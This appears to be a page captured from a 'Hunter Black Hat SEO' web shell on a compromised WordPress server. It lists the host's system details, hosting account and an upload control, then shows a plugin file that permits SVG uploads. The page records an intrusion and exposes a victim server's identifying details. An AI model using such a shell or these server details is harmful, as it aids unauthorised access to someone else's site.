Hunter Black Hat SEO
Server:LiteSpeed
System:Linux altar25.supremepanel25.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User:flexnetw (3555)
PHP:7.2.34
Disabled:NONE
Upload Files
File: /home/flexnetw/kifwa.flexnetworks.co.ke/wp-content/plugins/axil-elements/include/allow-svg.php
<?php
// Allow SVG
add_filter( 'wp_check_filetype_and_ext', function($data, $file, $filename, $mimes) {
 
    global $wp_version;
    if ( $wp_version !== '4.7.1' ) {
       return $data;
    }
   
    $filetype = wp_check_filetype( $filename, $mimes );
   
    return [
        'ext'             => $filetype['ext'],
        'type'            => $filetype['type'],
        'proper_filename' => $data['proper_filename']
    ];
   
  }, 10, 4 );


if(! function_exists('axil_mime_types')){
    function axil_mime_types( $mimes ){
        $mimes['svg'] = 'image/svg+xml';
        return $mimes;
    }
    add_filter( 'upload_mimes', 'axil_mime_types' );
}